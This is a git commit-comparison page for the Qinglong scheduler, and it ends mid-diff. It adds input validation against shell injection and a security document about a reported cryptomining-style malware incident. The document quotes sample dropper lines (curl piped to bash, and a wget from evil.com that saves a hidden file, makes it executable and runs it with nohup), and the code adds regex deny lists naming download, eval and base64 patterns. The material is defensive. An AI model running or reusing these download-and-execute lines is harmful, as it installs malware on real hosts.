Compare commits

..

17 Commits

Author SHA1 Message Date
copilot-swe-agent[bot] ccb423be10 Update security documentation with comprehensive details and examples
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
2026-02-08 15:29:46 +00:00
copilot-swe-agent[bot] d20e154f21 Address code review feedback: improve validation patterns and escaping
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
2026-02-08 15:27:29 +00:00
copilot-swe-agent[bot] 0a2d7b1597 Fix security validation patterns to avoid false positives
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
2026-02-08 15:25:44 +00:00
copilot-swe-agent[bot] ac8090d937 Add comprehensive security validation to prevent malicious code injection
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
2026-02-08 15:23:03 +00:00
copilot-swe-agent[bot] a030e19fc0 Initial plan 2026-02-08 15:18:45 +00:00
whyour d53437d169 更新 2.20.1 2025-12-26 21:17:30 +08:00
whyour d526602d19 修复运行中任务停止操作 2025-12-26 01:07:08 +08:00
whyour 91b44914f6 修复环境变量排序 2025-12-26 00:41:32 +08:00
whyour 4f6c93cc1c 更新 workflow 2025-12-24 01:03:21 +08:00
whyour e326d89571 修复 apiWhiteList 路径 2025-12-23 00:58:09 +08:00
whyour 5f0dafa010 修复 cron-parser import,websocket basepath 2025-12-23 00:28:16 +08:00
Copilot dc0b3f2eb2 Fix QlBaseUrl: use URL rewrite for base path support (#2876)
* Initial plan

* Add QlBaseUrl support to backend routes

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

* Fix whitelist check to use base-URL-aware paths

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

* Update websocket and frontend to support base URL

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

* Address code review feedback: fix JWT regex and path construction

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

* Fix path construction: use req.path directly for whitelist check

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

* Add clarifying comments and improve code readability

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

* Apply code review suggestions: improve clarity and simplify logic

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

* Simplify baseUrl implementation using URL rewrite

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
2025-12-22 23:44:29 +08:00
Copilot 3db716763d Fix cron-parser v5 bundling incompatibility causing validation failures (#2877)
* Initial plan

* Fix: Use default import for cron-parser to ensure browser compatibility

Changed from named export `{ CronExpressionParser }` to default export `cronParser` and access `CronExpressionParser` through it. This ensures compatibility with webpack/UmiJS bundling for browser environments while maintaining backend functionality.

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
2025-12-22 23:43:54 +08:00
Copilot fae226745e Add missing larkSecret field to gRPC NotificationInfo proto (#2880)
* Initial plan

* Add larkSecret field to NotificationInfo proto definition

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
2025-12-22 23:38:42 +08:00
Copilot 9330650163 Fix TG_PROXY_AUTH concatenation in notify.js - add missing @ separator (#2882)
* Initial plan

* Fix TG_PROXY_AUTH handling in notify.js to match notify.py logic

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

* Apply prettier formatting to notify.js

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
2025-12-22 23:05:06 +08:00
Copilot 073de76a4a Fix validation error when saving scripts in debug window (v2.20.0 regression) (#2862)
* 更新版本 2.20.0

* Initial plan

* Fix validation error when saving scripts by allowing unknown fields in POST /scripts

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

* Revert version.yaml to 2.19.2 - should not include version bump in bug fix PR

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

---------

Co-authored-by: whyour <imwhyour@gmail.com>
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
2025-12-22 22:43:48 +08:00
Copilot c61d1aa828 Fix enum value 0 causing type filter to fail for NodeJS dependencies (#2869)
* Initial plan

* Fix: Prevent Python3 dependencies from appearing in NodeJs tab

Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: whyour <22700758+whyour@users.noreply.github.com>
2025-12-15 18:21:14 +08:00
22 changed files with 489 additions and 114 deletions
+15 -16
View File
@@ -9,15 +9,13 @@ on:
- "develop"
tags:
- "v*"
schedule:
- cron: "00 20 * * *"
workflow_dispatch:
jobs:
code_gitlab:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
with:
fetch-depth: 0
- uses: Yikun/hub-mirror-action@master
@@ -32,7 +30,7 @@ jobs:
code_gitee:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
with:
fetch-depth: 0
- uses: Yikun/hub-mirror-action@master
@@ -47,12 +45,12 @@ jobs:
build-static:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: pnpm/action-setup@v3
- uses: actions/checkout@v6
- uses: pnpm/action-setup@v4
with:
version: "8.3.1"
- uses: actions/setup-node@v4
- uses: actions/setup-node@v6
with:
cache: "pnpm"
@@ -78,12 +76,12 @@ jobs:
git config --local user.email 'github-actions[bot]@users.noreply.github.com'
git commit --allow-empty -m "copy static at $(date +'%Y-%m-%d %H:%M:%S')"
git push --force --quiet "https://${{ secrets.API_TOKEN }}@${GITHUB_REPO}.git" ${GITHUB_BRANCH}:${GITHUB_BRANCH}
static_gitlab:
needs: build-static
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
with:
fetch-depth: 0
- uses: Yikun/hub-mirror-action@master
@@ -99,7 +97,7 @@ jobs:
needs: build-static
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
with:
fetch-depth: 0
- uses: Yikun/hub-mirror-action@master
@@ -112,6 +110,7 @@ jobs:
force_update: true
build:
if: ${{ !startsWith(github.ref, 'refs/tags/') }}
needs: build-static
runs-on: ubuntu-22.04
@@ -121,11 +120,11 @@ jobs:
contents: read
steps:
- uses: actions/checkout@v4
- uses: pnpm/action-setup@v3
- uses: actions/checkout@v6
- uses: pnpm/action-setup@v4
with:
version: "8.3.1"
- uses: actions/setup-node@v4
- uses: actions/setup-node@v6
with:
cache: "pnpm"
@@ -209,11 +208,11 @@ jobs:
contents: read
steps:
- uses: actions/checkout@v4
- uses: pnpm/action-setup@v3
- uses: actions/checkout@v6
- uses: pnpm/action-setup@v4
with:
version: "8.3.1"
- uses: actions/setup-node@v4
- uses: actions/setup-node@v6
with:
cache: "pnpm"
+228
View File
@@ -0,0 +1,228 @@
# Security Enhancements
## Overview
This document describes the security enhancements implemented to prevent malicious code injection attacks in Qinglong.
## Issue Background
A security vulnerability was discovered where malicious code could be injected into the system through:
1. Cron task fields (`task_before`, `task_after`, `command`)
2. Configuration file writes (`config.sh`, `extra.sh`, etc.)
The reported incident involved a malicious script that:
- Downloaded an external binary (`.fullgc`) from a suspicious domain (`file.551911.xyz`)
- Executed the binary in the background consuming 100% memory
- Persisted by continuously re-injecting itself into configuration files
## Security Fixes Implemented
### 1. Input Validation for Cron Tasks
**File:** `/back/validation/schedule.ts`
Added comprehensive validation to detect and block dangerous shell patterns:
- **Command Substitution**: Blocks `$(...)` and backtick patterns that could execute hidden commands
- **File Downloads**: Blocks `curl`, `wget`, `fetch` commands
- **External URLs**: Blocks HTTP/HTTPS URLs to prevent external resource downloads
- **Hidden Files**: Blocks references to executable files starting with `.` in path contexts
- **Background Execution**: Blocks suspicious `nohup` patterns executing hidden files
- **Combined Threats**: Blocks downloads with output redirection to `/dev/null` (hiding malware)
- **Obfuscation**: Blocks `base64`, `decode`, `eval` patterns
- **Temp Directory Execution**: Blocks execution of files from `/tmp` combined with chmod/execution
### 2. Config File Content Security
**File:** `/back/api/config.ts`
Enhanced validation for configuration file content to prevent:
- Downloads followed by execution (`curl | bash`, `wget | bash`)
- Download and permission changes (`curl && chmod +x`)
- Downloads of hidden files (generalized pattern to catch various malware)
- Background execution of hidden files
### 3. Improved Shell Escaping
**File:** `/back/services/cron.ts`
Replaced weak shell escaping with a robust `escapeShellArg()` function that:
- Properly escapes single quotes using `'\\''` pattern
- Replaces newlines with spaces (not semicolons) to prevent command chain creation
- Prevents command injection through various shell metacharacters
## Security Best Practices
### For Administrators
1. **Review Existing Tasks**: Audit all existing cron tasks for suspicious patterns
2. **Monitor Logs**: Check logs for security validation warnings
3. **Update Dependencies**: Keep all npm/pip dependencies up to date
4. **Limit Access**: Restrict who can create/modify cron tasks and config files
5. **Regular Backups**: Maintain backups of configuration files
### For Users
1. **Trusted Sources Only**: Only add scripts from trusted repositories
2. **Code Review**: Review any script before adding it to your cron tasks
3. **Avoid External URLs**: Don't include download commands in task hooks
4. **Report Suspicious Activity**: Report any unusual system behavior immediately
## Validation Error Messages
When the security system blocks a pattern, you'll see error messages like:
- `命令包含潜在危险的模式,已被安全系统拦截` - Command contains dangerous pattern
- `前置命令包含潜在危险的模式,已被安全系统拦截` - task_before contains dangerous pattern
- `后置命令包含潜在危险的模式,已被安全系统拦截` - task_after contains dangerous pattern
- `配置文件内容包含潜在危险的模式,已被安全系统拦截` - Config file contains dangerous pattern
## What to Do If You're Affected
If you've been affected by the malicious code injection:
### 1. Immediate Actions
```bash
# Stop and remove the malicious process
pkill -f ".fullgc"
rm -f /ql/data/db/.fullgc
# Check for the malicious code in configuration files
grep -r "fullgc" /ql/data/config/
grep -r "551911.xyz" /ql/data/config/
```
### 2. Clean Configuration Files
```bash
# Backup current configs
cp -r /ql/data/config /ql/data/config.backup
# Review and clean these files:
# - /ql/data/config/config.sh
# - /ql/data/config/extra.sh
# - /ql/data/config/task_before.sh
# - /ql/data/config/task_after.sh
# Remove any lines containing:
# - Downloads (curl, wget)
# - External URLs
# - .fullgc references
```
### 3. Review Cron Tasks
1. Log into Qinglong admin panel
2. Check all cron tasks for suspicious content in:
- Command field
- task_before field
- task_after field
3. Delete or clean any suspicious tasks
### 4. Update to Patched Version
Ensure you're running a version of Qinglong with these security fixes.
### 5. Change Credentials
If you suspect compromise:
- Change your Qinglong admin password
- Review and rotate any API tokens
- Check for unauthorized access in logs
## Detection
### Log Analysis
Security events are logged to help detect attempted attacks:
```bash
# Check for security validation failures in logs
grep "安全系统拦截" /ql/data/log/*.log
# Check for suspicious file modifications
grep "配置文件写入" /ql/data/log/*.log
```
### File Integrity
Regularly check for unexpected files:
```bash
# Find hidden executables in data directory
find /ql/data -type f -name ".*" -executable
# Check for recently modified config files
find /ql/data/config -type f -mtime -1
```
## Limitations
These security measures provide defense-in-depth but are not foolproof:
- Legitimate use cases requiring downloads must use alternative methods
- Very sophisticated attacks may find bypasses
- Users with admin access can still compromise the system
- Compromised dependencies can still execute malicious code
## Alternative Approaches for Legitimate Downloads
If you have legitimate use cases that require downloads:
1. **Use Dependencies**: Install packages via npm/pip instead of downloading at runtime
2. **Pre-download Files**: Download files manually and add them to the scripts directory
3. **Use Subscriptions**: Configure subscriptions to pull code from trusted repositories
4. **Request Whitelist**: Contact administrators to whitelist specific trusted domains (future feature)
## Technical Details
### Validation Pattern Examples
**Blocked Pattern:**
```bash
curl https://example.com/script.sh | bash
```
**Reason:** Downloads and executes external code
**Blocked Pattern:**
```bash
d="/ql/data/db";wget -O "$d/.malware" http://evil.com/m;chmod +x "$d/.malware";nohup "$d/.malware" &
```
**Reason:** Multiple violations - download, hidden file, chmod, background execution
**Allowed Pattern:**
```bash
node /ql/scripts/my_script.js
```
**Reason:** No dangerous patterns detected
### Defense in Depth
This implementation uses multiple layers of security:
1. **Input Validation**: Blocks malicious patterns before they reach the system
2. **Shell Escaping**: Prevents injection even if validation is bypassed
3. **Audit Logging**: Records all configuration changes for forensic analysis
4. **Least Privilege**: Existing blacklist prevents access to sensitive files
## Reporting Security Issues
If you discover a security vulnerability, please report it responsibly:
1. Do NOT create public GitHub issues for security vulnerabilities
2. Contact the maintainers privately
3. Provide detailed information about the vulnerability
4. Allow time for a patch before public disclosure
## References
- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
- [Shell Command Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
## Version History
- **v1.0** (2026-02-08): Initial security enhancements to prevent code injection attacks
+43 -1
View File
@@ -64,7 +64,44 @@ export default (app: Router) => {
celebrate({
body: Joi.object({
name: Joi.string().required(),
content: Joi.string().allow('').optional(),
content: Joi.string().allow('').optional().custom((value: any, helpers: any) => {
if (!value) return value;
// Security validation for configuration file content
const dangerousPatterns = [
// Command substitution that could download/execute malware
{ pattern: /\$\([^)]*curl[^)]*\)/gi, desc: '命令替换中的下载操作' },
{ pattern: /\$\([^)]*wget[^)]*\)/gi, desc: '命令替换中的下载操作' },
{ pattern: /`[^`]*curl[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
{ pattern: /`[^`]*wget[^`]*`/gi, desc: '反引号命令替换中的下载操作' },
// Suspicious file downloads followed by execution
{ pattern: /(curl|wget)[^;]*\|\s*bash/gi, desc: '下载并直接执行的危险模式' },
{ pattern: /(curl|wget)[^;]*&&\s*chmod\s*\+x/gi, desc: '下载并赋予执行权限的可疑模式' },
// Downloads of hidden files (commonly used in malware)
{ pattern: /(curl|wget)[^|;]*https?:\/\/[^\s]+\/\.\w+/gi, desc: '可疑的隐藏文件下载' },
// Background execution of hidden files
{ pattern: /nohup\s+["']?[^"'\s]*\/\.\w+["']?\s*>/gi, desc: '后台执行隐藏文件' },
];
for (const { pattern, desc } of dangerousPatterns) {
if (pattern.test(value)) {
return helpers.error('string.unsafe', { description: desc });
}
}
// Check for excessive length
if (value.length > 1000000) {
return helpers.error('string.max', { limit: 1000000 });
}
return value;
}).messages({
'string.unsafe': '配置文件内容包含潜在危险的模式 ({#description}),已被安全系统拦截',
'string.max': '配置文件内容过长,已被安全系统拦截',
}),
}),
}),
async (req: Request, res: Response, next: NextFunction) => {
@@ -73,11 +110,16 @@ export default (app: Router) => {
const { name, content } = req.body;
if (config.blackFileList.includes(name)) {
res.send({ code: 403, message: '文件无法访问' });
return;
}
let path = join(config.configPath, name);
if (name.startsWith('data/scripts/')) {
path = join(config.rootPath, name);
}
// Log security-relevant file modifications
logger.info(`配置文件写入: ${name}, 大小: ${content?.length || 0} 字节`);
await writeFileWithLock(path, content);
res.send({ code: 200, message: '保存成功' });
} catch (e) {
+1 -1
View File
@@ -16,7 +16,7 @@ export default (app: Router) => {
searchValue: Joi.string().optional().allow(''),
type: Joi.string().optional().allow(''),
status: Joi.string().optional().allow(''),
}),
}).unknown(true),
}),
async (req: Request, res: Response, next: NextFunction) => {
const logger: Logger = Container.get('logger');
+4 -4
View File
@@ -29,7 +29,7 @@ export default (app: Router) => {
celebrate({
query: Joi.object({
path: Joi.string().optional().allow(''),
}),
}).unknown(true),
}),
async (req: Request, res: Response, next: NextFunction) => {
const logger: Logger = Container.get('logger');
@@ -79,7 +79,7 @@ export default (app: Router) => {
query: Joi.object({
path: Joi.string().optional().allow(''),
file: Joi.string().required(),
}),
}).unknown(true),
}),
async (req: Request, res: Response, next: NextFunction) => {
try {
@@ -103,7 +103,7 @@ export default (app: Router) => {
}),
query: Joi.object({
path: Joi.string().optional().allow(''),
}),
}).unknown(true),
}),
async (req: Request, res: Response, next: NextFunction) => {
try {
@@ -130,7 +130,7 @@ export default (app: Router) => {
originFilename: Joi.string().optional().allow(''),
directory: Joi.string().optional().allow(''),
file: Joi.string().optional().allow(''),
}),
}).unknown(true),
}),
async (req: Request, res: Response, next: NextFunction) => {
try {
+1 -1
View File
@@ -3,7 +3,7 @@ import { Container } from 'typedi';
import { Logger } from 'winston';
import SubscriptionService from '../services/subscription';
import { celebrate, Joi } from 'celebrate';
import { CronExpressionParser } from 'cron-parser';
import CronExpressionParser from 'cron-parser';
const route = Router();
export default (app: Router) => {
+14
View File
@@ -64,6 +64,19 @@ if (!process.env.QL_DIR) {
const lastVersionFile = `https://qn.whyour.cn/version.yaml`;
// Get and normalize QlBaseUrl
let baseUrl = process.env.QlBaseUrl || '';
if (baseUrl) {
// Ensure it starts with /
if (!baseUrl.startsWith('/')) {
baseUrl = `/${baseUrl}`;
}
// Remove trailing slash for consistency in route definitions
if (baseUrl.endsWith('/')) {
baseUrl = baseUrl.slice(0, -1);
}
}
const rootPath = process.env.QL_DIR as string;
const envFound = dotenv.config({ path: path.join(rootPath, '.env') });
@@ -116,6 +129,7 @@ if (envFound.error) {
export default {
...config,
jwt: config.jwt,
baseUrl,
rootPath,
tmpPath,
dataPath,
+7
View File
@@ -15,6 +15,13 @@ import path from 'path';
export default ({ app }: { app: Application }) => {
app.set('trust proxy', 'loopback');
app.use(cors());
// Rewrite URLs to strip baseUrl prefix if configured
// This allows the rest of the app to work without baseUrl awareness
if (config.baseUrl) {
app.use(rewrite(`${config.baseUrl}/*`, '/$1'));
}
app.get(`${config.api.prefix}/env.js`, serveEnv);
app.use(`${config.api.prefix}/static`, express.static(config.uploadPath));
+2 -1
View File
@@ -5,9 +5,10 @@ import SockService from '../services/sock';
import { getPlatform } from '../config/util';
import { shareStore } from '../shared/store';
import { isValidToken } from '../shared/auth';
import config from '../config';
export default async ({ server }: { server: Server }) => {
const echo = sockJs.createServer({ prefix: '/api/ws', log: () => {} });
const echo = sockJs.createServer({ prefix: `${config.baseUrl}/api/ws`, log: () => { } });
const sockService = Container.get(SockService);
echo.on('connection', async (conn) => {
+1
View File
@@ -231,6 +231,7 @@ message NotificationInfo {
optional string webhookContentType = 57;
optional string larkKey = 58;
optional string larkSecret = 69;
optional string ntfyUrl = 59;
optional string ntfyTopic = 60;
+19 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-ts_proto. DO NOT EDIT.
// versions:
// protoc-gen-ts_proto v2.6.1
// protoc v3.17.3
// protoc v3.21.12
// source: back/protos/api.proto
/* eslint-disable */
@@ -382,6 +382,7 @@ export interface NotificationInfo {
webhookMethod?: string | undefined;
webhookContentType?: string | undefined;
larkKey?: string | undefined;
larkSecret?: string | undefined;
ntfyUrl?: string | undefined;
ntfyTopic?: string | undefined;
ntfyPriority?: string | undefined;
@@ -2947,6 +2948,7 @@ function createBaseNotificationInfo(): NotificationInfo {
webhookMethod: undefined,
webhookContentType: undefined,
larkKey: undefined,
larkSecret: undefined,
ntfyUrl: undefined,
ntfyTopic: undefined,
ntfyPriority: undefined,
@@ -3136,6 +3138,9 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
if (message.larkKey !== undefined) {
writer.uint32(466).string(message.larkKey);
}
if (message.larkSecret !== undefined) {
writer.uint32(554).string(message.larkSecret);
}
if (message.ntfyUrl !== undefined) {
writer.uint32(474).string(message.ntfyUrl);
}
@@ -3640,6 +3645,14 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
message.larkKey = reader.string();
continue;
}
case 69: {
if (tag !== 554) {
break;
}
message.larkSecret = reader.string();
continue;
}
case 59: {
if (tag !== 474) {
break;
@@ -3797,6 +3810,7 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
webhookMethod: isSet(object.webhookMethod) ? globalThis.String(object.webhookMethod) : undefined,
webhookContentType: isSet(object.webhookContentType) ? globalThis.String(object.webhookContentType) : undefined,
larkKey: isSet(object.larkKey) ? globalThis.String(object.larkKey) : undefined,
larkSecret: isSet(object.larkSecret) ? globalThis.String(object.larkSecret) : undefined,
ntfyUrl: isSet(object.ntfyUrl) ? globalThis.String(object.ntfyUrl) : undefined,
ntfyTopic: isSet(object.ntfyTopic) ? globalThis.String(object.ntfyTopic) : undefined,
ntfyPriority: isSet(object.ntfyPriority) ? globalThis.String(object.ntfyPriority) : undefined,
@@ -3990,6 +4004,9 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
if (message.larkKey !== undefined) {
obj.larkKey = message.larkKey;
}
if (message.larkSecret !== undefined) {
obj.larkSecret = message.larkSecret;
}
if (message.ntfyUrl !== undefined) {
obj.ntfyUrl = message.ntfyUrl;
}
@@ -4086,6 +4103,7 @@ export const NotificationInfo: MessageFns<NotificationInfo> = {
message.webhookMethod = object.webhookMethod ?? undefined;
message.webhookContentType = object.webhookContentType ?? undefined;
message.larkKey = object.larkKey ?? undefined;
message.larkSecret = object.larkSecret ?? undefined;
message.ntfyUrl = object.ntfyUrl ?? undefined;
message.ntfyTopic = object.ntfyTopic ?? undefined;
message.ntfyPriority = object.ntfyPriority ?? undefined;
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-ts_proto. DO NOT EDIT.
// versions:
// protoc-gen-ts_proto v2.6.1
// protoc v3.17.3
// protoc v3.21.12
// source: back/protos/cron.proto
/* eslint-disable */
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-ts_proto. DO NOT EDIT.
// versions:
// protoc-gen-ts_proto v2.6.1
// protoc v3.17.3
// protoc v3.21.12
// source: back/protos/health.proto
/* eslint-disable */
+25 -12
View File
@@ -4,7 +4,7 @@ import config from '../config';
import { Crontab, CrontabModel, CrontabStatus } from '../data/cron';
import { exec, execSync } from 'child_process';
import fs from 'fs/promises';
import { CronExpressionParser } from 'cron-parser';
import CronExpressionParser from 'cron-parser';
import {
getFileContentByName,
fileExist,
@@ -29,7 +29,7 @@ import { logStreamManager } from '../shared/logStreamManager';
@Service()
export default class CronService {
constructor(@Inject('logger') private logger: winston.Logger) {}
constructor(@Inject('logger') private logger: winston.Logger) { }
private isNodeCron(cron: Crontab) {
const { schedule, extra_schedules } = cron;
@@ -165,7 +165,7 @@ export default class CronService {
let cron;
try {
cron = await this.getDb({ id });
} catch (err) {}
} catch (err) { }
if (!cron) {
continue;
}
@@ -467,7 +467,10 @@ export default class CronService {
for (const doc of docs) {
// Kill all running instances of this task
try {
const command = this.makeCommand(doc);
if (doc.pid) {
await killTask(doc.pid);
}
const command = doc.command.replace(/\s+/g, ' ').trim();
await killAllTasks(command);
this.logger.info(
`[panel][停止所有运行中的任务实例] 任务ID: ${doc.id}, 命令: ${command}`,
@@ -636,6 +639,22 @@ export default class CronService {
}
}
/**
* Properly escape shell arguments to prevent command injection
* This function uses a more robust escaping mechanism than simple quote replacement
*/
private escapeShellArg(arg: string): string {
if (!arg) return "''";
// Remove newlines to prevent creating command chains
// Replace with space to maintain token separation
arg = arg.replace(/\r?\n/g, ' ').trim();
// Use single quotes and escape any single quotes within
// This is the most secure way to pass arbitrary strings to shell
return `'${arg.replace(/'/g, "'\\''")}'`;
}
private makeCommand(tab: Crontab, realTime?: boolean) {
let command = tab.command.trim();
if (!command.startsWith(TASK_PREFIX) && !command.startsWith(QL_PREFIX)) {
@@ -647,16 +666,10 @@ export default class CronService {
commandVariable += `log_name=${tab.log_name} `;
}
if (tab.task_before) {
commandVariable += `task_before='${tab.task_before
.replace(/'/g, "'\\''")
.replace(/;? *\n/g, ';')
.trim()}' `;
commandVariable += `task_before=${this.escapeShellArg(tab.task_before)} `;
}
if (tab.task_after) {
commandVariable += `task_after='${tab.task_after
.replace(/'/g, "'\\''")
.replace(/;? *\n/g, ';')
.trim()}' `;
commandVariable += `task_after=${this.escapeShellArg(tab.task_after)} `;
}
const crontab_job_string = `${commandVariable}${command}`;
+3 -2
View File
@@ -13,10 +13,11 @@ import {
stepPosition,
} from '../data/env';
import { writeFileWithLock } from '../shared/utils';
import { sequelize } from '../data';
@Service()
export default class EnvService {
constructor(@Inject('logger') private logger: winston.Logger) {}
constructor(@Inject('logger') private logger: winston.Logger) { }
public async create(payloads: Env[]): Promise<Env[]> {
const envs = await this.envs();
@@ -146,7 +147,7 @@ export default class EnvService {
}
try {
const result = await this.find(condition, [
['isPinned', 'DESC'],
[sequelize.literal('COALESCE(`isPinned`, 0)'), 'DESC'],
['position', 'DESC'],
['createdAt', 'ASC'],
]);
+67 -4
View File
@@ -1,9 +1,60 @@
import { Joi } from 'celebrate';
import { CronExpressionParser } from 'cron-parser';
import CronExpressionParser from 'cron-parser';
import { ScheduleType } from '../interface/schedule';
import path from 'path';
import config from '../config';
/**
* Security validation function to detect potentially malicious shell code patterns
*/
const validateShellSecurity = (value: any, helpers: any, fieldName: string): any => {
if (!value) return value;
// Define dangerous patterns that should be blocked
const dangerousPatterns = [
// Command substitution
/\$\([^)]*\)/,
/`[^`]*`/,
// File downloads
/\b(curl|wget|fetch)\s+/i,
// Suspicious domains or external URLs
/https?:\/\/[^\s]+/i,
// Hidden executable files (files starting with . in a path context)
/\/\.\w+(\s|$|;|&|\||>)/,
// Background process spawning with suspicious names
/nohup\s+["']?[^\s"']*\/\.\w+/,
// Redirect to dev null combined with downloads (hiding malware output)
/(curl|wget|fetch)[^;]*>.*\/dev\/null.*&/i,
// Base64 decode patterns (often used to obfuscate malicious code)
/\b(base64|decode|eval)\s+/i,
// Executable files in /tmp with chmod or execution
/\/tmp\/[^\s]+\s*(&&|;)\s*(chmod|\.\/)/ ,
];
for (const pattern of dangerousPatterns) {
if (pattern.test(value)) {
return helpers.error('string.unsafe', {
pattern: pattern.source,
field: fieldName
});
}
}
// Check for excessive length (potential buffer overflow or obfuscation)
if (value.length > 10000) {
return helpers.error('string.max', { limit: 10000 });
}
return value;
};
const validateSchedule = (value: string, helpers: any) => {
if (
value.startsWith(ScheduleType.ONCE) ||
@@ -32,13 +83,25 @@ export const scheduleSchema = Joi.string()
export const commonCronSchema = {
name: Joi.string().optional(),
command: Joi.string().required(),
command: Joi.string().required().custom((value: any, helpers: any) => {
return validateShellSecurity(value, helpers, 'command');
}).messages({
'string.unsafe': '命令包含潜在危险的模式,已被安全系统拦截',
}),
schedule: scheduleSchema,
labels: Joi.array().optional(),
sub_id: Joi.number().optional().allow(null),
extra_schedules: Joi.array().optional().allow(null),
task_before: Joi.string().optional().allow('').allow(null),
task_after: Joi.string().optional().allow('').allow(null),
task_before: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
return validateShellSecurity(value, helpers, 'task_before');
}).messages({
'string.unsafe': '前置命令包含潜在危险的模式,已被安全系统拦截',
}),
task_after: Joi.string().optional().allow('').allow(null).custom((value: any, helpers: any) => {
return validateShellSecurity(value, helpers, 'task_after');
}).messages({
'string.unsafe': '后置命令包含潜在危险的模式,已被安全系统拦截',
}),
log_name: Joi.string()
.optional()
.allow('')
+20 -4
View File
@@ -482,9 +482,13 @@ function tgBotNotify(text, desp) {
timeout,
};
if (TG_PROXY_HOST && TG_PROXY_PORT) {
let proxyHost = TG_PROXY_HOST;
if (TG_PROXY_AUTH && !TG_PROXY_HOST.includes('@')) {
proxyHost = `${TG_PROXY_AUTH}@${TG_PROXY_HOST}`;
}
let agent;
agent = new ProxyAgent({
uri: `http://${TG_PROXY_AUTH}${TG_PROXY_HOST}:${TG_PROXY_PORT}`,
uri: `http://${proxyHost}:${TG_PROXY_PORT}`,
});
options.dispatcher = agent;
}
@@ -992,7 +996,10 @@ function fsBotNotify(text, desp) {
return new Promise((resolve) => {
const { FSKEY, FSSECRET } = push_config;
if (FSKEY) {
const body = { msg_type: 'text', content: { text: `${text}\n\n${desp}` } };
const body = {
msg_type: 'text',
content: { text: `${text}\n\n${desp}` },
};
// Add signature if secret is provided
// Note: Feishu's signature algorithm uses timestamp+"\n"+secret as the HMAC key
@@ -1278,7 +1285,15 @@ function ntfyNotify(text, desp) {
}
return new Promise((resolve) => {
const { NTFY_URL, NTFY_TOPIC, NTFY_PRIORITY, NTFY_TOKEN, NTFY_USERNAME, NTFY_PASSWORD, NTFY_ACTIONS } = push_config;
const {
NTFY_URL,
NTFY_TOPIC,
NTFY_PRIORITY,
NTFY_TOKEN,
NTFY_USERNAME,
NTFY_PASSWORD,
NTFY_ACTIONS,
} = push_config;
if (NTFY_TOPIC) {
const options = {
url: `${NTFY_URL || 'https://ntfy.sh'}/${NTFY_TOPIC}`,
@@ -1293,7 +1308,8 @@ function ntfyNotify(text, desp) {
if (NTFY_TOKEN) {
options.headers['Authorization'] = `Bearer ${NTFY_TOKEN}`;
} else if (NTFY_USERNAME && NTFY_PASSWORD) {
options.headers['Authorization'] = `Basic ${Buffer.from(`${NTFY_USERNAME}:${NTFY_PASSWORD}`).toString('base64')}`;
options.headers['Authorization'] =
`Basic ${Buffer.from(`${NTFY_USERNAME}:${NTFY_PASSWORD}`).toString('base64')}`;
}
if (NTFY_ACTIONS) {
options.headers['Actions'] = encodeRFC2047(NTFY_ACTIONS);
+8 -4
View File
@@ -3,7 +3,7 @@ import config from '@/utils/config';
import { request } from '@/utils/http';
import { MinusCircleOutlined, PlusOutlined } from '@ant-design/icons';
import { Button, Form, Input, Modal, Select, Space, message } from 'antd';
import { CronExpressionParser } from 'cron-parser';
import CronExpressionParser from 'cron-parser';
import { useEffect, useState } from 'react';
import intl from 'react-intl-universal';
import { getScheduleType, scheduleTypeMap } from './const';
@@ -91,10 +91,14 @@ const CronModal = ({
{ required: true },
{
validator: (_, value) => {
if (!value || CronExpressionParser.parse(value).hasNext()) {
return Promise.resolve();
try {
